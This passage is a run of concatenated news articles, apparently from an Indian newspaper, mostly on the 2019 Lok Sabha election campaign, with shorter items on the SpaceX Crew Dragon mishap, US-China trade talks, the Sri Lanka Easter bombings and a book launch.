Delhi: A chartered flight with Congress president Rahul Gandhi on board and which was en route to Patna was forced to return to Delhi on Friday due to a technical snag, prompting aviation regulator the Directorate General of Civil Aviation (DGCA) to launch a probe into the matter. Mr Gandhi wrote on Twitter that the plane returned after experiencing engine trouble and also posted a video of the flight which shows him, the pilot and the co-pilot in the plane. Engine trouble on our flight to Patna today! Weve been forced to return to Delhi, Mr Gandhi tweeted. Todays meetings in Samastipur (Bihar), Bala-sore (Orissa) & Sangamn-er (Maharashtra) will run late. Apologies for the inconvenience, he said. A senior DGCA official said the Hawker 850 XP aircraft VT-KNB returned to Delhi due to a technical snag and that an investigation has been initiated. The aircraft landed safely in Delhi at 10.20 am. Ten people, including two crew members, were on board when the incident occur-red, the official said. The aircraft VT-KNB bel-ongs to the Delhi-based company Forum 1 Aviati-on Private Limited. According to the firms website, the plane was acquired brand new in 2006 and it can fly anywhere in India. The Hawker 850 XP typically has a configuration of two seats for pilots and eight for passengers. Mr Gandhi is on a campaign trail, crisscrossing the length and breadth of the country for the polls. This is not the first time that his plane has experienced trouble mid-air. On April 26 last year, a plane carrying the leader and some others from Delhi to Hubballi airport in Karnataka for campaigning for Assembly polls developed a technical problem and tilted heavily on the left side. The plane dipped steeply with violent shuddering, but soon recovered and landed safely. The DGCA had come out with its 30-page report on that incident in which it pinned the blame on the pilots for the near-crash of the Congress presidents chartered plane. After the incident, Mr Gandhi had expressed his desire to go on the Mansarovar Yatra, which he undertook later that year. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. Senior advocate Mukul Rohatgi, appearing for film producers had argued that the ban infringed on the right to freedom of speech and expression. The biopic on Prime Minister Narendra Modi is a hagiography, starring actor Vivek Oberoi, which treats the subject with undue reverence, and its public screening during poll campaign will tilt the electoral balance, the Commission said in its report submitted to the apex court after watching the film. New Delhi: The Supreme Court on Friday upheld an order passed by the Election Commission staying the release of the biopic on Prime Minister Narendra Modi till the completion of the Lok Sabha polls on May 19. A three-judge bench of Chief Justice Ranjan Gogoi and Justices Deepak Gupta in a brief order said, We are not inclined to interfere with the Commissions order and dismissed the petition filed by the producers of the film challenging the ECs decision. The biopic on Prime Minister Narendra Modi is a hagiography, starring actor Vivek Oberoi, which treats the subject with undue reverence, and its public screening during poll campaign will tilt the electoral balance, the Commission said in its report submitted to the apex court after watching the film. The report said that the biopic produces a political environment where an individual acquired cult status and its public screening during the period when model code of conduct is in operation would favour a particular political party. The EC said there are several scenes depicting a major opposition party as corrupt and showing them in poor light. Their leaders have been depicted in such a manner that their identification is clear and obvious to the viewers. It said that the biopic was more than a biography and was a hagiography (which treats the subject as saints and gives undue reverence) and the construct of the movie was unabashedly uni-dimensional, which puts an individual on a higher pedestal through use of specific symbols, slogans and scenes. It ends up eulogising an individual, giving him a saintly status. The film was earlier set to release on April 11. Based on complaints of political parties, including the Congress, the Commission had also said that any poster or publicity material concerning any such certified content, which either depicts a candidate (including prospective) for the furtherance (or purported to further) of electoral prospects, directly or indirectly, shall not be put on display in electronic media in the area where MCC is in force. Senior advocate Mukul Rohatgi, appearing for film producers had argued that the ban infringed on the right to freedom of speech and expression. The court had asked the EC to watch the film and submit a report. Today the hearing resumed on the basis of the ECs report. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. RJD, being the largest party in Bihar, is contesting 19 seats and Congress has been given nine seats for the Lok Sabha elections. Patna: After skipping three rallies of AICC president Rahul Gandhi, RJD leader Tejashwi Yadav finally shared a stage with him in Bihar on Friday. This was Mr Gandhis fourth political meeting in the state since poll dates were announced. Both the leaders were in Samastipur to campaign for Congress nominee Dr Ashok Ram who has been pitted against Union minister and LJP chief Ram Vilas Pasw-ans brother Ram Chan-dra Paswan. During his speech, Mr Yadav urged the masses to vote for the Congress and make Mr Gandhi Prime Minister. We dont want a Prime Minister who has no time to visit poor people and favours only rich businessmen. We need a Prime Minister like Rahul Gandhi who talks about poor people and also meets them, the RJD leader said. He added, If our Prime Minister calls himself a chowkidar, the people of Bihar are thanedars Mr Yadavs absence from Mr Gandhis rallies earlier had triggered speculation of a rift in the grand alliance. Analysts on Friday said that both the leaders sharing a stage would present a picture of unity. Mr Gandhi had earlier campaigned for grand alliance partner Jitan Ram Manjhi in Gaya and for Congress candidates Uday Singh in Purnea and Ranjeet Ranjan in Supaul. RJD, being the largest party in Bihar, is contesting 19 seats and Congress has been given nine seats for the Lok Sabha elections. Both the leaders also promised to implement the Nyay scheme immediately after the grand alliance is voted to power. Speaking about the issue, Mr Gandhi said, The highest number of beneficiaries of the Nyay scheme would be from Bihar and also assured that the middle class would not be burdened with extra taxes. Mr Yadav while heaping praises for Mr Gandhi said, He ensured that loans are waived after Congress won Assembly elections in three states. His Nyay scheme will benefit more people in Bihar. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. Mr Shah said the BJP cannot do ilu-ilu with terrorists, an apparent reference to the popular short form of I love you. Ghazipur (UP): BJP president Amit Shah on Thursday claimed that Opposition leaders cannot look after the security of the country properly. Addressing a rally in Ghazipur constituency of Uttar Pradesh, Shah alleged that BSP chief Mayawati and her Samajwadi Party and Congress counterparts, Akhilesh Yadav and Rahul Gandhi, respectively, were upset with the Balakot airstrikes. These mahamilavati people talk about the country. Akhilesh, Mayawati and Congress cannot keep the country safe, the BJP chief said. Mr Shah said the BJP cannot do ilu-ilu with terrorists, an apparent reference to the popular short form of I love you. Though it were the terrorists of Pakistan who were killed (in the Balakot airstrikes), but it was an atmosphere of mourning in the offices of Bua (Mayawati, Bhatija (Akhilesh) and Rahul baba, he said. I could not find out as to why they were so sad. Why were they moving about with a long face? Were those terrorists their maternal or paternal cousins? Mr Shah asked. He said the BJP cannot play with the security of the country. If a bullet is fired from there (Pakistan), a bomb will be sent from here (India)... Eent ka jawaab patthar se diya jayega (If someone throws bricks, then will respond by throwing rocks), the BJP leader stressed. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analysis et al. Happy reading. Mr Gandhi was addressing an election rally at Jalore in Marwar region of Rajasthan. Congress chief Rahul Gandhi shakes hands with Rajasthan chief minister Ashok Gehlot as deputy chief minister Sachin Pilot looks on during an election campaign rally at Bandanwara in Ajmer on Thursday. (Photo: PTI) Jalore: Congress president Rahul Gandhi on Thursday accused Prime Minister Narendra Modi of doing injustice to the people of the country in the last five years, saying that the acche din ayenge slogan has now been replaced by chowkidar chor hai. Mr Gandhi was addressing an election rally at Jalore in Marwar region of Rajasthan. He said that there will be only one Hindustan where justice will be done when the Congress is voted to power. If rich people are not jailed for not paying off loans then farmers too will not be jailed. If lakhs and crores are given to them then the same will be given to farmers, labourers, tribals, dalits and small traders. There will be no injustice in Hindustan. The country will not be divided in two Hindustans. There will be one Hindustan where justice will be done, the Congress president said. PM Narendra Modi did injustice with people of the country in the last five years. Demonetisation and GST were ways to rob poor, labourers, small traders of their money, Nyay scheme will benefit them, he said. He said that the Congress government will listen to peoples mann ki baat and run according to them. Five years ago, there was a slogan acche din ayenge. Now people say chowkidar chor hai everywhere in the country, he said while addressing the rally here. Gandhi said that the Congress had done brainstorming with eminent economists for minimum income guarantee Nyay scheme to deposit Rs 72,000 annually in individual bank accounts of 25 crore poor. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analysis et al. Happy reading. Praises Nitish govt, says electricity has reached every corner of state. Rashtriya Janta Dal parliamentary candidate from Patliputra Misa Bharti arrives to file her nomination papers for the Lok Sabha elections in Patna. (Photo: PTI) Patna: Prime Minister Narendra Modi, while addressing a rally in Darbhanga on Thursday, raked up the issue of development and slammed Opposition parties for misleading the state by spreading rumours to gain in the Lok Sabha elections. Launching a veiled attack on the RJD, he said that the days of lanterns (the partys symbol) are over as electricity has reached every corner of the state under the leadership of chief minister Nitish Kumar. Those who keep showing the lantern today could have easily brought electricity to Bihar, but they were busy building shopping malls and fixing railway tenders. The situation has changed now and the lantern can never return because electricity has reached every corner of the state under the leadership of Nitish Kumar. Mr Modi said. Mr Modi was referring to the scenario in Bihar between 1990 and 2005 when the RJD was in power. He said that In 2004, the party had promised to give electricity but it happened only after the NDA formed the government. They are only experts in scams. While addressing the masses, he slammed the Opposition parties for their reluctance to say Vande Mataram and also launched a scathing attack on their stand on terrorism. He also referred to the terror modules busted in Darbhanga a few years ago and said that the people in the region had been affected by terrorism. Political analysts claim that caste and national security is one of the core issues during the Lok Sabha elections for political parties in Darbhanga. Abdul Bari Siddiqui of the RJD and BJPs Gopalji Thakur are pitted against each other in this constituency. A few days earlier, Abdul Bari Siddiqui had stoked a controversy by saying that he has no trouble in chanting Bharat Mata Ki Jai but reciting Vande Mataram was against his religious beliefs. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analysis et al. Happy reading. Sitaram Yechury wondered why Modi had to make the revealation during the Lok Sabha Election. Taking a dig at the West Bengal chief minister Raj Babbar alleged that she has however not sent gifts to any Congress leader or someone else so far. (Photo: File) Kolkata: In what may trigger controversy senior Congress leader Raj Babbar on Friday claimed that Trinamool Congres supremo Mamata Banerjee has been sending Kurta to Prime Minister Narendra Modi because she knows the "right size" in an oblique reference to Modi's 56-inch chest. Taking a dig at the West Bengal chief minister he alleged that she has however not sent gifts to any Congress leader or someone else so far. Upping its ante the CPI(M) also questioned the "secrecy" over Banerjee sending the gifts to Modi. CPI(M) general secretary Sitaram Yechury wondered why Modi had to make the revealation during the Lok Sabha Election. Mocking the poll-battle between Ms Banerjee and Mr Modi in front of the public as "Kusti" he has accused them of having "Dosti" at the personal level. At the state Congress headquarters Babbar said, "Two products from here are world famous. They are Sweets made of cottage cheese and Kurta. But till date Mamataji has not sent them to us or anyone else. If she has to send them, she sends it to only one person. So you can understand that she knows the size of Kurta. We earlier used to raise questions whether the size of his chest is 56 inches or not." Slamming the Trinamool chief the Congress Rajya Sabha MP alleged, "Knowing the right size Mamata however has started sending Kurta. This has now come out in the public though it was not supposed to remain inside forever." The Uttar Pradesh Congress chief came to the city to campaign for Syed Shahid Imam, the party candidate for Kolkata North in the Lok Sabha Election. His attack on Banerjee came a day after the Trinamul chief acknowledged of sending gifts to the PM who recently revealed that she sends him Kurta and sweets as gifts twice a year. At state CPI(M) headquarters Yechury said, "There will be proper human gesture if you go to somebody's house on a festival day. They will give you something. But that is not a secret thing." Slamming the Trinamool chief and the PM he asked, "Why is it a secret that has to be told by Modi publicly now? Did you ever hear earlier that Didi choosing Punjabi suiting Modi? Why is the secrecy? Something else behind the back and something else on the front: Kusti and Dosti." Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. Sadhvi Pragya Thakur has gained immense popularity for her checkered journey from an accused in the Malegaon blast to the candidate of BJP. On April 17, 2019, soon after joining the BJP, Malegaon blast accused Sadhvi Pragya Singh Thakurs name was announced as the party candidate. (Photo: File) Mumbai: Sadhvi Pragya Thakur has gained immense popularity for her checkered journey from an accused in the Malegaon blast to the candidate of Bharatiya Janata Party (BJP). The ruling party known for promoting terror-free nation has grabbed the headlines since the announcement of Sadhvi Pragyas candidature from Bhopal parliamentary constituency against senior Congress leader Digvijaya Singh. Backdrop of Sadhvi Pragya Born in Bhind district of Madhya Pradesh, Sadhvi Pragya had a long association with the Rashtriya Swayamsevak Sangh (RSS). A post-graduate in history from the Jiwaji University, Gwalior and also holds B.P.Ed (Bachelor of Physical Education) degree from the Barkatullah University, Bhopal. She also worked with the RSS student wing Akhil Bharatiya Vidyarthi Parishad (ABVP) and Durga Vahini, women's wing of the Vishwa Hindu Parishad. The daughter of an Ayurveda doctor managed to gain popularity with her speeches as a students activist and was known as a great orator. During her college days, she got in touch with the saints, getting inspired by them, Sadhvi Pragya sported a rudraksh mala with a trademark short hair along with. Since then, Surat became her karmbhoomi and while in the process of becoming Sadhvi, she also achieved a title of star campaigner for the BJP. Her life took a twist after Sadhvi Pragya was taken into custody for 24 days of which the police had taken the permission of 11 days custody in October 2008. Sadhvi Pragya, along with eight others, were arrested in Dewas district of Madhya Pradesh by the Shivraj Singh Chouhan-led BJP government for the murder of Sunil Joshi. Sadhvi Pragya Thakur Who is Sunil Joshi? Sunil Joshi, a right-wing activist, whose name had figured in the Mecca Masjid, Samjhauta and Malegaon blast cases, was killed on December 29, 2007, in Dewas, Madhya Pradesh. Sunil Joshi, who had been chargesheeted by the National Investigation Agency (NIA) in connection with the 2007 Samjhauta Express train blast case, was shot dead on December 29, 2007, when he was walking back to his hideout at Chuna Khadan locality in Dewas. Sunil Joshi murder case: The police on March 25, 2009, closed the case on the order of Dewas SP and all the accused, including Sadhvi Pragya, were released. The Madhya Pradesh police on July 9, 2010, reopened the murder case and filed a chargesheet alleging that Sadhvi Pragya, and four others had killed Joshi fearing he might expose the entire conspiracy from Samjhauta to Ajmer blasts. On February 26, 2011, police issued an arrest warrant against Sadhvi Pragya Thakur. Saffron-clad Sadhvi Pragya became the face of right-wing extremism after being arrested by the Maharashtra Anti-Terrorism Squad in the 2008 Malegaon blast case, where six people were killed and 101 were injured when an improvised explosive device strapped on a motorcycle went off at Malegaon on September 29, 2008. She served nine years of jail, however, currently she is out on bail. In 2011, the Indore high court transferred the case to the NIA. A Madhya Pradesh court on February 1, 2017, acquitted Pragya Thakur, along with all other accused of all charges in connection with the Joshi murder case. On December 27, 2017, a special NIA court had dropped stringent Maharashtra Control of Organised Crime Act charges against Lieutenant Colonel Prasad Purohit, Sadhvi Pragya, Sameer Kulkarni and other accused in the blast case. Chargesheet filed by Madhya Pradesh police: The 432-page chargesheet filed by the police before judicial magistrate Padmesh Shah stated, Sadhvi was peeved with Joshi as he had personally misbehaved with her and his overall behaviour was something not expected by a woman'. The chargesheet also contains statements from 124 witnesses, according to a March 2011 News18 report. The chargesheet also claimed that on the day of Joshis murder, Thakur was in Indore and her mobile call records show that she was in constant touch with the accused. Thakur emerged as a major suspect after his relatives claimed she had come to their house on the day of the murder and had taken away his suitcase. She was also seen in the hospital where Joshis body was brought. Sadhvi Pragyas acquittal: Three years later, on August 19, 2014 just months after Narendra Modi become the prime minister the case was again transferred to the Dewas district court. In September 2015, the Dewas court framed charges against eight people, including Thakur who was charged under section 120 (B) (criminal conspiracy) and other relevant sections of the IPC. However, on February 1, 2017, Dewas additional district Judge Rajeev Kumar Aaptee acquitted all accused in the Joshi murder case. In April 2017, the Bombay High Court approved bail for Thakur, who the ATS had said was among the prime conspirators of the blast. Arrival into politics: On April 17, 2019, soon after joining the BJP, Malegaon blast accused Sadhvi Pragya Singh Thakurs name was announced as the party candidate. Sadhvi Pragya Singh Thakur along with Shivraj Singh Chouhan after announcing Sadhvi Pragya Thakur as the BJPs candidate for Bhopal. (Photo: PTI) The sanyasini's recent statement that was grabbed into controversy was Sadhvi Pragyas claim that she cured her breast cancer with cow products like urine. BJP Lok Sabha candidate from Bhopal Sadhvi Pragya Singh Thakur has declared assets worth more than Rs 4.44 lakh that includes a 150 gram silver-coated brick which has Lord Rama inscribed on it, according to her affidavit. Sadhvi Pragya has mentioned in her affidavit that she depends on alms and the society for her livelihood. After accepting the challenge to fight against Digvijaya Singh, Sadhvi Pragya has recently said she was ready for a "Dharm Yudh". Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. The Samajwadi Party, which is fighting the polls in Uttar Pradesh in alliance with the BSP. The Congress party has fielded local strongman Ajay Rai who had fought against Modi in 2014. (Photo: PTI) Varanasi: The battle for Varanasi is over. Always heavily loaded in favour of the BJP and its star candidate Prime Minister Narendra Modi, the Congress decision not to field Priyanka Gandhi Vadra has ended any kind of contest for the seat. The Congress party has fielded local strongman Ajai Rai who had fougt against Mr Modi in 2014 also and had come third after Arvind Kejriwal securing 75,000 votes. Mr Kejriwal had got approximately 2,09,000 votes and Mr Modi 5,86,000 votes. The Samajwadi Party, which is fighting the polls in Uttar Pradesh in alliance with the BSP, has this time fielded Congress turncoat Shalini Yadav from the seat. Sources said the effort was aimed at keeping Yadav votes intact. Sources in the Congress indicated that it had hoped that the SP would withdraw its candidate if Ms Gandhi was fielded and she would contest as a joint Opposition candidate, but there was no such assurance from the other side. Another reason was that the party realised Ms Gandhi would be bogged down campaigning in Varanasi and would not be able to tour other constituencies in Uttar Pradesh where tough contests are in the offing like Amethi from where Congress President Rahul Gandhi is fighting the BJPs Smriti Irani. Anyway, the aim to fight for the 2022 Assembly polls in the state, a senior leader said. However, what might have clinched the decision could have been a veto by the Congress president, whom sources said is against any form of personality-based showdowns. The rally was organised in support of BJP Lok Sabha candidate from Jabalpur Rakesh Singh, who is the sitting MP from the seat. Prime Minister Narendra Modi on Friday said opposition leaders are in a race to support Pakistan on the issue of military operations against terror camps in the neighbouring country. (Photo: Twitter/ANI) Jabalpur: Prime Minister Narendra Modi on Friday said opposition leaders are in a race to support Pakistan on the issue of military operations against terror camps in the neighbouring country. Addressing an election rally here, he said after completion of voting in more than 300 Lok Sabha seats, his opponents have accepted that there is a (Modi) "wave" and have knelt before it. Modi told the gathering that their votes in favour of the BJP in 2014 made India strong and forced the world to look at the country with a different perspective. "Your one vote has made the country strong and changed the outlook of the world towards India in the last five years," Modi said. The PM said the opposition has always stood against India's stance on key issues with other countries. "They always stood in opposition to the country's stand. Opposition leaders are in a race to support Pakistan on the issue of surgical strike, air strike or Doklam dispute (with China in 2017)," he said. Speaking on the issue of terrorism, Modi said military operations against terror camps launched under his watch were just "trailer". "India is changing now. We have killed them (terrorists) by entering into their den. And whatever we have done is just a trailer, a sample. We have to wipe out terrorism from its roots," the Prime Minister said. Modi said after the end of three phases of Lok Sabha polls, covering 303 seats, it is clear which way people have voted. "The mandate for 300 seats is in. Those who were saying there was no wave, have now realised (that public opinion in favour of the BJP) and have now knelt before it," the Prime Minister said. "A sea of people undeterred by the scorching heat have gathered here...this shows they have joined hands for a building a new India," he said, pointing to the large crowd gathered at the rally. Modi said his government implemented the Goods and Services Tax (GST) in the larger public interest and to boost the nations tax collection. "The Congress mentioned about implementing the GST regime three times its manifesto but couldn't do so as it lacked (political) will," he added. The rally was organised in support of BJP Lok Sabha candidate from Jabalpur Rakesh Singh, who is the sitting MP from the seat. Singh is also Madhya Pradesh BJP president. Madhya Pradesh, which has 29 Lok Sabha seats, will vote in four phases starting from April 29. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analyses etc all. Happy reading. Ms Bharti, now a Union minister, had led BJP to power in MP in 2003 Assembly elections in MP by dislodging the Digvijay Singh government. Bhopal: Congress on Thursday announced it would move the Election Commission (EC) demanding action against the BJPs nominee for Bhopal Lok Sabha constituency, Sadhvi Pragya Thakur, for calling the decade-long-rule of Digvijay Singh in Madhya Pradesh (1993-2003) a terrorist regime. A Congress spokesman here said the party was peeved at the portrayal of the erstwhile government as a terrorist regime and decided to take the matter to the EC for action against her. She hurls wild allegations against Mr Singh. She needs to restrain herself. We are going to lodge a complaint against her with EC seeking strong action against her. Her terrorism jibe violated the model code of conduct, the spokesman said. Thakur while addressing an election meeting in the district headquarters of Sehore on Thursday described the former government as a callous and an insensitive one since the shifting of factories from the region arbitrarily during the period had rendered thousands of employees jobless. Sixteen years ago, a sadhvi (saint) Uma Bharti had ousted Digvijay Singh from power. Now, another sadhvi (referring to herself) is going to end his political career, she had said. Ms Bharti, now a Union minister, had led BJP to power in MP in 2003 Assembly elections in MP by dislodging the Digvijay Singh government. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analysis et al. Happy reading. Rubbishing Mr Baghels claims, a BJP spokesperson said the Chhattisgarh chief minister should talk sense. Jabalpur (MP): Chhattisgarh chief minister Bhupesh Baghel Thursday claimed that Malegaon blast accused and Bharatiya Janata Party (BJP) candidate from Bhopal Lok Sabha seat Pragya Singh Thakur stabbed a man in 2001. Thakur's conduct did not become of a Sadhvi' (ascetic or holy woman), the Congress leader said, speaking at a press conference here. Pragya Thakur has a connection with our Chhattisgarh. Her brother-in-law worked at a warehouse in Bilaigarh (in Balodabazar district), Mr Baghel said, when asked whether the BJP was playing the Hindutva cardby fielding her. She used to carry a knife and stabbed a young man named Shailendra Devagan in the chest with a knife in Bilaigarh in 2001, Mr Baghel said. Pragya also used to indulge in fights, and from the beginning her conduct was like that of a habitual criminal and not like that of a sadhvi, the chief minister said. Thakur is currently out on bail. Rubbishing Mr Baghels claims, a BJP spokesperson said the Chhattisgarh chief minister should talk sense. "Baghel ji should talk sense and refrain from making any statement sans proof. He should apologise for his outlandish remarks against Sadhvi ji or be ready to face a defamation suit from us," Madhya Pradesh BJP spokesperson Hitesh Bajpai said. Keep yourself updated on Lok Sabha Elections 2019 with our round-the-clock coverage -- breaking news, updates, analysis et al. Happy reading. The ED also summoned Naik for questioning, but he has not appeared before the agency. Mumbai: Controversial Islamic preacher Zakir Naik Thursday accused the Indian government of engaging in a witch-hunt and putting pressure on Interpol to issue a red corner notice against him. Naik, who fled India in 2016, said that he was aware of the pressure the Indian government was putting on Interpol to issue a red corner notice against him. Its part of an elaborate witch-hunt. But having verified with a few member countries, I can confirm that there is no red corner notice against me as of date, he claimed. One of the Indian newspapers seems to have jumped the gun and reported internal deliberations of the Indian government which, as a matter of fact, have been going on for over two years now, he said. Naik said Interpol had already cancelled a red corner notice against him, once. And its been one-and-a-half years since the government submitted a charge sheet and started putting pressure on Interpol. But as things stand, I have no reason to believe that Interpol will succumb to any kind of undue pressure, he said. Naik, said to be in Malaysia at present, has been under investigation since 2016, when the Centre banned his Islamic Research Foundation (IRF) for five years. The National Investig-ation Agency (NIA) is probing him and unnamed officials of IRF under section 153-A of Indian Penal Code (promoting enmity between different groups on grounds of religion) and the Unlawful Activities Prevention Act (UAPA). The preacher, declared a proclaimed offender by a special NIA court in June 2017, is accused of inciting youth to indulge in terror activities, giving hate speeches and promoting enmity between communities. The NIA had filed a charge sheet against Naik and others before a Mumbai court in October 2017. The ED had also registered a criminal case against Naik and others last December after the NIA booked him under the UAPA. The ED also summoned Naik for questioning, but he has not appeared before the agency. All eyes will be on the fight for Bhopal Lok Sabha seat as Congress has fielded its senior leader Digvijaya Singh for this seat. Mumbai: Maharashtra chief minister Devendra Fadnavis on Thursday said that he might campaign for Sadhvi Pragya Singh Thakur, Bharatiya Janata Party (BJP)s candidate from Bhopal Lok Sabha constituency. I am a worker of the party and will go for campaigning wherever the party will ask me to go, said Mr Fadnavis. In an interview to a news channel, the CM said that though the statement made by Takur about 26/11 terror martyr Hemant Karkare was wrong, he would still campaign for her if the party asks him to do so. Mr Fadnavis said that Mr Karkare was a very good police officer and it is possible that Thakur may have been angry at the torture she faced while in custody for her alleged involvement in 2008 Malegaon blast. But Thakur has already apologized for statement and it is time that people should stop talking about it. When asked whether the Maharashtra government will launch a probe into the allegations of torture made by Thakur while in custody, the CM said that probe couldnt be started on the basis of statements made in media. The government cannot launch a probe suo moto as this can be done only by court. But if Thakur will submit a written complaint in this regard then a probe will be ordered in this matter, he added. All eyes will be on the fight for Bhopal Lok Sabha seat as Congress has fielded its senior leader Digvijaya Singh for this seat. Thakur is still an accused in 2008 Malegaon blast case. Accused had availed various credit facilities from Bank of India. The court also sentenced one Yunus Memon to three years of imprisonment. (Representational Image) Mumbai: A special Central Bureau of Investigation (CBI) court on Friday sentenced six persons to life imprisonment for committing fraud of Rs 2.5 crore by taking a loan on forged documents from Bank of India around two decades ago. Special CBI judge Sardar Tamboli awarded life sentence to Bhagwanji Joshi, then AGM of Bank of Ind-ias Mandvi branch, borrowers Manohar Lal Ahuja and his son Amit, and three others, Mahesh Bohra, Sandesh Nage and Shanti Lal Chauhan, who had played a role in forging documents. The court also sentenced one Yunus Memon to three years of imprisonment. The court held them guilty under sections 420 (cheating), 467 (forgery of valuable security), and 120 B (criminal conspiracy) of IPC and under relevant section of the Prevention of Corruption Act. According to the prosecution the accused fraudulently obtained credit facility of over Rs 2.5 crore from Bank of India between 2000 and 2003. Public prosecutor Jitendra Sharma examined 39 witnesses to prove the charges against the accused. The charge against the accused was that Manohar and his son Amit had availed various credit facilities from Bank of India by forging documents between 2000 and 2003 for running a partnership firm. These, amounting to Rs 2.5 crore, were in form of cash and letter of credits. The accused submitted existing stock of the company in a warehouse as well as a plot in Versova as security. The probe also found that property they had mortgaged was non-existent as well. It was further alleged that the accused didnt use the money for business but siphoned it off and used it for personal gain. The matter came to light in 2004 when the accused stopped paying the loan instalments and it turned into an NPA, following which the bank lodged a case with the CBI. The investigation revealed that the stock in the warehouse, which was presented to the bank as security was non-existent, with the borrowers coming up with the excuse that the stock was destroyed. While pronouncing the qu-antum of punishment judge Tamboli observed that three of the accused are habitual offenders and have cheated various nationalised banks. The judge also observed all the accused committed an economic offence detrimental to the financial health of the country. Orange smoke was seen rising above SpaceXs facilities by a photographer working for local newspaper Florida Today. NASAs Aerospace Safety Advisory Panel (ASAP) told reporters Elon Musks rocket company continues to investigate the cause of the anomaly during a test of engines designed to propel the crew to safety at Cape Canaveral Air Force Station in Florida. A NASA safety panel said that Saturdays accident on a SpaceX astronaut capsule happened after eight engines were test fired, but offered scant details on what caused the mishap or the extent of the damage. NASAs Aerospace Safety Advisory Panel (ASAP) told reporters Elon Musks rocket company continues to investigate the cause of the anomaly during a test of engines designed to propel the crew to safety at Cape Canaveral Air Force Station in Florida. Orange smoke was seen rising above SpaceXs facilities by a photographer working for local newspaper Florida Today. No injuries were reported. The capsule, which conducted a six-day test flight to the International Space Station in March, was one of at least six models SpaceX has in production. The company is planning to launch Crew Dragons first mission to space carrying humans as soon as July, though the accident could delay that. ASAP chair Patricia Sanders said SpaceX and NASA are in the early stages of the investigation, focusing on collecting data from the accident and determining how much it will impact the schedule for the human spaceflight mission. NASA awarded $6.8 billion to SpaceX and Boeing Co to develop separate capsule systems to fly astronauts to space, but both companies have faced technical challenges and delays. Theres been a lot of progress made on each side, but theres still technical issues that need to be resolved as both providers are on the path to qualification, ASAP member Sandra Magnus, a former US astronaut, said. US President Donald Trump said he would soon host Chinese leader Xi Jinping at the White House. Trump has said he expects to finalise the deal in a meeting with Xi. (Photo:AP) Washington: US President Donald Trump said on Thursday he would soon host Chinese leader Xi Jinping at the White House, setting the stage for a possible agreement on trade between the world's two largest economies. The White House said on Tuesday that Treasury Secretary Steven Mnuchin and US Trade Representative Robert Lighthizer would travel to Beijing for additional talks on a trade dispute that has led to tit-for-tat tariffs between the two countries. Chinese Vice Premier Liu He, who will lead the Beijing talks for China, will also travel to Washington for more discussions starting on May 8, it said. "The subjects of next week's discussions will cover trade issues including intellectual property, forced technology transfer, non-tariff barriers, agriculture, services, purchases, and enforcement," the White House said. Beijing and Washington are seeking a deal to end a bitter trade war that has cost them billions of dollars, disrupted supply chains and rattled financial markets. Trump has said he expects to finalise the deal in a meeting with Xi. The official toll released by the police was reduced by 106 after the reconciliation of autopsy and DNA reports. The health ministry said 485 people had initially been hospitalised with injuries, but only 149 remained in hospital as of Thursday evening, with the others being discharged after treatment. (Photo: AP) Colombo: Sri Lankan authorities on Thursday revised the toll from Easter bombings down to 253, from the previous figure of 359, explaining that some of the badly mutilated bodies had been double-counted. The health ministry said medical examiners had completed all autopsies by late Thursday, and had concluded that several victims killed in the series of attacks had been counted more than once. The official toll released by the police was reduced by 106 after the reconciliation of autopsy and DNA reports, the ministry said in a statement. Many of the victims were badly mutilated... There was double counting, the ministry said. The government has blamed a local Islamist group for the Easter Sunday carnage, in which suicide bombers attacked high-end hotels popular with foreigners and churches packed with Christian faithful. The health ministry did not break down the new death toll in terms of locals and foreigners. Earlier, Sri Lankas foreign ministry had said 40 of the victims were foreign nationals. Despite the toll revision, the coordinated attacks remain the worst in the island nation of 21 million people since a civil war ended a decade ago. The health ministry said 485 people had initially been hospitalised with injuries, but only 149 remained in hospital as of Thursday evening, with the others being discharged after treatment. Camillo Gonsalves served as SVGs Permanent Representative to the United Nations before returning home to serve as a Minister in the Unity Labour Party administration. Minister of Finance, Sustainable Development and ICT Camillo Gonsalves has written a new book that will be launched Monday 29th April, at the Calliaqua Town Hall. The book, titled Globalised. Climatised. Stigmatised., is a 186-page collection of essays about the specificities, opportunities and developmental challenges of small island states. Discussing debt, diplomacy, sovereignty, blacklists, inequality, climate change, the blue economy and the role of the state in development, among other topics, Camillo Gonsalves takes an expansive overview of the various ways in which "smallness and islandness affect the progress of islands in global affairs. Globalised. Climatised. Stigmatised enjoyed a successful overseas launch on 17th April at the United Nations. The book was launched by the President of the United Nations General Assembly and discussed by a panel of experts including the UN Secretary-Generals special envoy for climate change, the chair of the Alliance of Small Island States, the chair of the Pacific Small Island Developing States and the Permanent Representative of Canada to the United Nations. Calling the book an excellent example of Saint Vincent and the Grenadines "thought leadership at the United Nations, President of the United Nations General Assembly Maria Fernanda Espinosa Garces stated "Globalised. Climatised. Stigmatised is a provocative title that very neatly captures the essence of the challenges faced by Small Island Developing States. . . it already has a guaranteed place on my bedside table, and I warmly commend its messages to you all. Globalised. Climatised. Stigmatised. will be launched at the Calliaqua Town Hall on Monday 29th April at 7pm. The book launch will feature a review by University of the West Indies Lecturer Dr. Tennyson Joseph, and comments by community activist, social commentator and globalisation warrior Renwick Rose. Police on Thursday released the names and pictures of the suspects and sought information regarding them from public. Malcolm Cardinal Ranjith, the head of the local catholic church, has asked all churches to stop masses until the situation improved, his office said. (Photo: AP) Colombo: Sri Lanka has released photographs of six suspects, including three women, wanted for their involvement in the deadly Easter attacks that killed nearly 250 people. Police have intensified search and arrested 16 people, taking the number of those in custody to 76. Nine suicide bombers, believed to be the members of local terror group called National Thowheed Jamath (NTJ), carried out a series of devastating blasts that tore through three churches and three luxury hotels on Easter Sunday. Police on Thursday released the names and pictures of the suspects and 